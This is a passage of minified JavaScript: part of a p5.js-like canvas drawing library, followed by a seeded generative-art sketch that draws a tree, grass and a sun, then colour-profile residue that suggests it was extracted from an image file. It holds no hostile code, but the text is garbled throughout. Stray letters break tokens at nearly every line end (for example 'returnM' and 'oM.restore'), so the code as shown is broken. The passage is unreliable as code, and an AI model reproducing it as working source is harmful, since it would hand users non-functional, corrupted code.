),o.lineTo(r,a),o.stroke())},n.arc=function(e,t,o,r,a,i,l,s){if(a==i)return n.ellipse(e,t,o,r);null==s&&(s=25),null==l&&(l=n.PIE),n._style.ellipseMode==n.CENTER?g(e,t,o,r,a,i,l,s):n._style.ellipseMode==n.RADIUS?g(e,t,2*o,2*r,a,i,l,s):n._style.ellipseMode==n.CORNER?g(e+o/2,t+r/2,o,r,a,i,l,s):n._style.ellipseMode==n.CORNERS&&g((e+o)/2,(t+r)/2,o-e,r-t,a,i,l,s)},n.ellipse=function(e,t,o,r){null==r&&(r=o),n._style.ellipseMode==n.CENTER?v(e,t,o,r):n._style.ellipseMode==n.RADIUS?v(e,t,2*o,2*r):n._style.ellipseMode==n.CORNM
ER?v(e+o/2,t+r/2,o,r):n._style.ellipseMode==n.CORNERS&&v((e+o)/2,(t+r)/2,o-e,r-t)},n.circle=function(e,t,o){return n.ellipse(e,t,o,o)},n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()},n.rect=function(e,t,o,r,a,i,l,s){n._style.rectMode==n.CENTER?M(e-o/2,t-r/2,o,r,a,i,l,s):n._style.rectMode==n.RADIUS?M(e-o,t-r,2*o,2*r,a,i,l,s):n._style.rectMode==n.CORNER?M(e,t,o,r,a,i,l,s):n._style.rectMode==n.CORNERS&&M(e,t,o-e,r-t,a,i,l,s)},n.square=function(e,t,o,r,a,i,l){returnM
 n.rect(e,t,o,o,r,a,i,l)},n.beginShape=function(){_(),o.beginPath(),a=!0},n.beginContour=function(){o.closePath(),_(),a=!0},n.endContour=function(){_(),a=!0},n.vertex=function(e,t){_(),a?o.moveTo(e,t):o.lineTo(e,t),a=!1},n.bezierVertex=function(e,t,n,r,a,i){_(),o.bezierCurveTo(e,t,n,r,a,i)},n.quadraticVertex=function(e,t,n,r){_(),o.quadraticCurveTo(e,t,n,r)},n.bezier=function(e,t,o,r,a,i,l,s){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,r,a,i,l,s),n.endShape()},n.triangle=function(e,t,o,r,a,i){n.beginShape(),n.verM
tex(e,t),n.vertex(o,r),n.vertex(a,i),n.endShape(n.CLOSE)},n.quad=function(e,t,o,r,a,i,l,s){n.beginShape(),n.vertex(e,t),n.vertex(o,r),n.vertex(a,i),n.vertex(l,s),n.endShape(n.CLOSE)},n.endShape=function(e){_(),e&&o.closePath(),n._style.noFill||o.fill(),n._style.noStroke||o.stroke(),n._style.noFill&&n._style.noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())},n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let r=function(e,t,n,o,r,a,i,l,s,u){function c(e,t,n,o,r,a){let i=Math.pow(o-t,2)+MathM
.pow(r-n,2);return Math.pow(i,.5*a)+e}let h=[],f=c(0,e,t,n,o,u),d=c(f,n,o,r,a,u),p=c(d,r,a,i,l,u);for(let u=0;u<s;u++){let c=f+u/(s-1)*(d-f),y=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<y.length;e+=2)isNaN(y[e])&&(y[e]=1,y[e+1]=0),isFinite(y[e])||(y[e]>0?(y[e]=1,y[e+1]=0):(y[e]=0,y[e+1]=1));let m=e*y[0]+n*y[1],g=t*y[0]+o*y[1],v=n*y[2]+r*y[3],M=o*y[2]+a*y[3],_=r*y[4]+i*y[5],x=a*y[4]+l*y[5],w=m*y[6]+v*y[7],R=g*y[6]+M*y[7],I=vM
*y[8]+_*y[9],C=M*y[8]+x*y[9],S=w*y[2]+I*y[3],E=R*y[2]+C*y[3];h.push([S,E])}return h}(...i[i.length-4],...i[i.length-3],...i[i.length-2],...i[i.length-1],n._style.curveDetail,n._style.curveAlpha);for(let e=0;e<r.length;e++)a?o.moveTo(...r[e]):o.lineTo(...r[e]),a=!1},n.curve=function(e,t,o,r,a,i,l,s){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,r),n.curveVertex(a,i),n.curveVertex(l,s),n.endShape()},n.translate=function(e,t){o.translate(e,t)},n.rotate=function(e){o.rotate(e)},n.scale=function(e,t){null==t&&(t=e),M
o.scale(e,t)},n.applyMatrix=function(e,t,n,r,a,i){o.transform(e,t,n,r,a,i)},n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)},n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)},n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)},n.pushMatrix=n.push=function(){n._styleCache.push({...n._style}),n._style=n._styleCache[n._styleCache.length-1],o.save()},n.popMatrix=n.pop=function(){n._styleCache.length-1&&(n._styleCache.pop(),n._style=n._styleCache[n._styleCache.length-1],oM
.restore())},n.image=function(e,t,r,a,i,l,s,u,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let t=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(M
e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),a?l?(u||(u=h.width),c||(c=h.height),o.drawImage(h,l,s,u,c,t,r,a,i),void d()):(o.drawImage(h,t,r,a,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,r,e.width,e.height):o.drawImage(h,t,r,e.videoWidth,e.videoHeight),void d())},n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data},n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)},n.loadImage=function(e,t){s++;let o=n.createGraphics(100,100M
),r=o.canvas.getContext("2d"),a=new Image;return a.src=e,a.crossOrigin="Anonymous",a.onload=function(){r.canvas.width=a.width,r.canvas.height=a.height,o.width=a.width,o.height=a.height,r.drawImage(a,0,0),s--,t&&t(o)},o};let x={};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClamM
pedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()}x[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}},x[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}},x[n.OPAQUE]=functM
ion(e){for(let t=0;t<e.length;t+=4)e[t+3]=255},x[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[t+2]=255-e[t+2]},x[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n},x[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let r=0;r<t;r++){let a=4*Math.max(r-1,0),i=4*Math.min(r+1,t-1),l=4*Math.max(o-1,0)*t,s=4*Math.min(o+1,n-1)*t,u=4*o*t,c=4*rM
;for(let t=0;t<4;t++){let n=t+l,o=t+s,r=t+u;e[u+c+t]=Math.max(d[n+c],d[r+a],d[r+c],d[r+i],d[o+c])}}},x[n.ERODE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let r=0;r<t;r++){let a=4*Math.max(r-1,0),i=4*Math.min(r+1,t-1),l=4*Math.max(o-1,0)*t,s=4*Math.min(o+1,n-1)*t,u=4*o*t,c=4*r;for(let t=0;t<4;t++){let n=t+l,o=t+s,r=t+u;e[u+c+t]=Math.min(d[n+c],d[r+a],d[r+c],d[r+i],d[o+c])}}},x[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let r=2*t+1,a=funcM
tion(e){let n=new Float32Array(e),o=.3*t+.8,r=o*o*2;for(let t=0;t<e;t++){let a=t-e/2,i=Math.exp(-a*a/r)/(2.5066282746*o);n[t]=i}return n}(r),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,s=0,u=0,c=0;for(let e=0;e<r;e++){let r=4*(n*i+Math.min(Math.max(o-t+e,0),i-1));l+=d[r]*a[e],s+=d[r+1]*a[e],u+=d[r+2]*a[e],c+=d[r+3]*a[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=s,e[h+2]=u,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let s=0,u=0,c=0,h=0;for(let e=0;e<r;e++){let r=4*(MathM
.min(Math.max(n-t+e,0),l-1)*i+o);s+=d[r]*a[e],u+=d[r+1]*a[e],c+=d[r+2]*a[e],h+=d[r+3]*a[e]}let f=4*(n*i+o);e[f]=s,e[f+1]=u,e[f+2]=c,e[f+3]=h}},n.filter=function(e,t){if(n.HARDWARE_FILTERS&&null!=o.filter)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5),I(`saturate(0%) brightness(${Math.floor(.5/t*100)}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawIM
mage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);x[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);x[e](n.data,t),o.putImageData(n,0,0)}},n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,M
0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()},n.get=function(e,t,r,a){if(null!=e&&null==r){let r=o.getImageData(e,t,1,1).data;return new n.Color(r[0],r[1],r[2],r[3]/255)}e=e||0,t=t||0,r=r||n.width,a=a||n.height;let i=n.createGraphics(r,a);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,r*n._pixelDensity,a*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i},n.set=function(e,t,r){if(r.MAGIC==n.MAGICM
){let o=n._tint;return n._tint=null,n.image(r,e,t),void(n._tint=o)}let a=4*(t*n._pixelDensity*o.canvas.width+e*n._pixelDensity);n.pixels[a]=r._r,n.pixels[a+1]=r._g,n.pixels[a+2]=r._b,n.pixels[a+3]=255*r._a},n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransM
form();let r=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.globalCompositeOperation=r,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()},n.tint=function(){n._tint=n.color(...Array.from(arguments))},n.noTint=function(){n._tint=null},n.mask=function(e){o.save(),o.resetTransform();let t=o.gloM
balCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeOperation=t,o.restore()},n.clearTemporaryBuffers=function(){h=null,f=null,d=null},n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",(function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t}),!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)},n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.M
save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let r=e.split(".");return n.save(r.slice(0,-1).join("."),r[r.length-1])},n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),r=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const a=document.createElement("style");return a.textContent=r,document.head.append(a),o},n.textFont=function(e){n._style.textFont=e},n.textSize=function(e){n._style.teM
xtSize=e,n._style.textLeading=e},n.textLeading=function(e){n._style.textLeading=e},n.textStyle=function(e){n._style.textStyle=e},n.textAlign=function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)},n.text=function(e,t,r,a){if(!e)return;if(e=e.toString(),n._style.noFill&&n._style.noStroke)return;o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._style.noFill||o.fillText(i[e],t,r,a),n._style.noStroke||o.strokeText(i[e],t,r,a),r+=M
n._style.textLeading},n.textWidth=function(e){return o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`,o.measureText(e).width},n.textAscent=function(e){return o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`,o.measureText(e).actualBoundingBoxAscent},n.textDescent=function(e){return o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`,o.measureText(e).actualBoundingBoxDescent};var C,S=4,E=.5,A=function(e){return.5*(1-Math.cos(e*Math.PI))};n.noiM
se=function(e,t,n){if(t=t||0,n=n||0,null==C){C=new Array(4096);for(var o=0;o<4096;o++)C[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var r,a,i,l,s,u=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-u,d=t-c,p=n-h,y=0,m=.5,g=0;g<S;g++){var v=u+(c<<4)+(h<<8);r=A(f),a=A(d),i=C[4095&v],i+=r*(C[v+1&4095]-i),l=C[v+16&4095],i+=a*((l+=r*(C[v+16+1&4095]-l))-i),l=C[4095&(v+=256)],l+=r*(C[v+1&4095]-l),s=C[v+16&4095],l+=a*((s+=r*(C[v+16+1&4095]-s))-l),y+=(i+=A(p)*(l-i))*m,m*=E,u<<=1,c<<=1,h<<=1,(f*=2)>=1&&(u++,f--)M
,(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return y},n.noiseDetail=function(e,t){e>0&&(S=e),t>0&&(E=t)};const b=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17,e^=e>>13,((e^=e<<5)>>>0)/n)}};let T=b();T.setSeed(),n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;C||(C=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,C[n]=(t>>>0)/4294967295},n.randomSeed=function(e){T.setSeed(e)},n.random=function(e,t){returM
n null==e?T.rand():"number"==typeof e?null!=t?T.rand()*(t-e)+e:T.rand()*e:e[~~(e.length*T.rand())]},n.randomGenerator=function(e){e==n.LCG?T=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rand:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(T=b()),T.setSeed()};var P=new function(){var e,t,n,o=new Array(128),r=new Array(256),a=new Array(128),i=new Array(128),l=new Array(256),s=new Array(256),u=function(){return 4294967296*T.rand()-2147483648},c=function(M
){return.5+2.328306e-10*(u()<<0)};this.SHR3=u,this.UNI=c,this.RNOR=function(){return n=u(),e=127&n,Math.abs(n)<o[e]?n*a[e]:function(){for(var t,r,l,s,h=3.44262;;){if(t=n*a[e],0==e){do{l=c(),s=c(),t=.2904764*-Math.log(l),r=-Math.log(s)}while(r+r<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=u(),e=127&n,Math.abs(n)<o[e])return n*a[e]}}()},this.REXP=function(){return(t=u()>>>0)<o[e=255&t]?t*l[e]:function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],s[e]+c()*(s[e-M
1]-s[e])<Math.exp(-n))return n;if((t=u())<r[e=255&t])return t*l[e]}}()},this.zigset=function(){var e,t,n=2147483648,u=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,y=.003949659822581572;for(e=f/Math.exp(-.5*c*c),o[0]=Math.floor(c/e*n),o[1]=0,a[0]=e/n,a[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),a[t]=c/n;for(e=y/Math.exp(-d),r[0]=Math.floor(d/e*u),r[1]=0,l[0]=e/u,l[255]=d/u,M
s[0]=1,s[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(y/d+Math.exp(-d)),r[t+1]=Math.floor(d/p*u),p=d,s[t]=Math.exp(-d),l[t]=d/u}};P.hasInit=!1,n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e},n.randomExponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()},n.print=console.log,n.cursor=function(e,t,o){let r="";e.includes(".")&&(e=`url("${e}")`,r=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+r},n.noCursor=function(){n.canvas.style.cursor="none"M
},n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then((function(e){t.srcObject=e})),t.style.position="absolute",t.style.opacity=1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let D=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of D){let t="_"+e+"Fn";n[t]=function(M
){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(r=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),_(),a=!0,n.push(),n._drawFn(),n.pop(),++n.frameCount}function k(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,r=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/r,id:e.identifier}}function O(){return n._touchStarted.isPlaceHolder&&n._touchMoved.isPlaceHoldM
er&&n._touchEnded.isPlaceHolder}n.noLoop=function(){n._noLoop=!0,r=null},n.loop=function(){n._noLoop=!1,null==r&&z()},n.redraw=function(){z()},n.frameRate=function(e){n._frameRate=e},setTimeout((function(){n._preloadFn(),c=window.performance.now(),function e(){if(s>0)return setTimeout(e,10);n._setupFn(),z()}()}),1),n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)},n.canvas.onmousedown=function(e){n.pM
mouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)},n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)},n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1},window.addEventListener("keydown",(funM
ction(e){n.keyIsPressed=!0,n.key=e.key,n.keyCode=e.keyCode,u[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)})),window.addEventListener("keyup",(function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,u[n.keyCode]=!1,n._keyReleasedFn(e)})),n.keyIsDown=function(e){return!!u[e]},n.canvas.ontouchstart=function(e){n.touches=e.touches.map(k),O()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||eM
.preventDefault()),n._touchStartedFn(e)||e.preventDefault()},n.canvas.ontouchmove=function(e){n.touches=e.touches.map(k),O()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()},n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(k),O()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPM
ressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()},n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPermission),n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then((e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then((e=>{"granted"==e&&(n.hasSensorPermissM
ion=!0)})).catch(alert)})).catch(alert)},window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,n.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.reM
lRotationZ=n.rotationZ},window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13]M
,e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]M
*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e),0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}},n.year=function(){return(new Date).getFullYear()},n.day=functionM
(){return(new Date).getDay()},n.hour=function(){return(new Date).getHours()},n.minute=function(){return(new Date).getMinutes()},n.second=function(){return(new Date).getSeconds()},n.millis=function(){return window.performance.now()-c}}(e)}function t(){let e=l(0,1);return e+=.618033988749895,e%=1,color(floor(360*e),i(10,100),i(10,100))}function n(e){e.sort((function(e,t){return e.width>t.width?-1:e.width<t.width?1:0}))}function o(e,t,n,o,r,a,i,s,u){let c=[];for(let h=e;h<t;h+=s)c.push({start:createVector(h,r),end:creM
ateVector(h,r+a*(1-l(0,i))),width:n*(1-l(0,o)),color:u});return c}function r(e,t,n,o,a,s,u){let c=createVector(e.x+t*cos(n),e.y+t*sin(n)),h=[{start:e,end:c,width:o,color:s[i(0,s.length-1)]}];if(u<i(6,12)){let e=t/l(1.3,1.6),i=o/l(1.1,1.6);h.push(...r(c,e,n+a,i,a,s,u+1)),h.push(...r(c,e,n-a,i,a,s,u+1))}return h}function a(e){for(let t=0;t<e.length;t++){let n=e[t].width;stroke(e[t].color),strokeWeight(.9*n),line(e[t].start.x,e[t].start.y,e[t].end.x,e[t].end.y)}}function i(e,t){return e=Math.ceil(e),t=Math.floor(t),MaM
th.floor(c()*(t-e+1))+e}function l(e,t){return c()*(t-e)+e}function s(e,t,n,o){return function(){var r=(e>>>=0)+(t>>>=0)|0;return e=t^t>>>9,t=(n>>>=0)+(n<<3)|0,n=(n=n<<21|n>>>11)+(r=r+(o=(o>>>=0)+1|0)|0)|0,(r>>>0)/4294967296}}function u(e){for(var t=0,n=1779033703^e.length;t<e.length;t++)n=(n=Math.imul(n^e.charCodeAt(t),3432918353))<<13|n>>>19;return function(){return n=Math.imul(n^n>>>16,2246822507),n=Math.imul(n^n>>>13,3266489909),(n^=n>>>16)>>>0}}"object"==typeof exports&&"undefined"!=typeof module&&(module.expoM
rts=e),new e("global");let c,h="m/71233/1/0/1",f="028ac4005f6485919445175ea40236987b18c832c306f3c15372a73c5a2cbf277a";function setup(){createCanvas(windowWidth,windowHeight),colorMode(HSB,360,100,100);let e=u(f.slice(2));c=s(e(),e(),e(),e());let d=i(2,6),p=[];for(let e=0;e<d-1;e++)p.push(t());let y,m,g=p[i(0,p.length-1)];do{y=t(),m=Math.abs(hue(y)-hue(g)),m+=Math.abs(saturation(y)-saturation(g)),m+=Math.abs(brightness(y)-brightness(g))}while(m<180);background(y);for(let e=0;e<=width;e+=i(0,15))for(let t=0;t<=heightM
;t+=i(0,15)){let n=i(10,20);push(),translate(e,t),rotate(l(0,2*PI)),beginShape(),noStroke(),fill(hue(y)+i(-2,2),saturation(y)+i(-2,2),brightness(y)+i(-2,2));for(let e=0;e<2*PI;e+=.1){let t=cos(e)*n,o=sin(e)*n;vertex(t,o)}endShape(CLOSE),pop()}let v=l(.1,.6),M=(height+width)/150,_=(height+width)/50,x=i(M,_),w=.7+(x-M)/(_-M)*(.9-.7),R=i((height+width)/14,(height+width)/8),I=o(0,width,i(x/4,x/2),l(.2,1),height,-x*l(.5,1.5),l(.2,1),i(x/4,x/2),g),C=r(createVector(width/2,height),R,-PI/2,x,v,p,0);n(C),n(I);let S=(width+hML
eight)/15;stroke(g),strokeWeight(S/50),noFill(),ellipse(width-S,S,S,S),fill(g),noStroke(),ellipse(width-S,S,S*w,S*w),a(C,!1),a(I,!1),textFont("Courier New");let E=(width+height)/150;textSize(E),strokeWeight(1),stroke(g),textStyle(NORMAL);let A=h.slice(2).split("/");for(let e=0;e<A.length;e++)text("/"+A[e],4,E+e*E)}</script></html>h!
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
'@*'##'O8</@]Rba\RZYgt
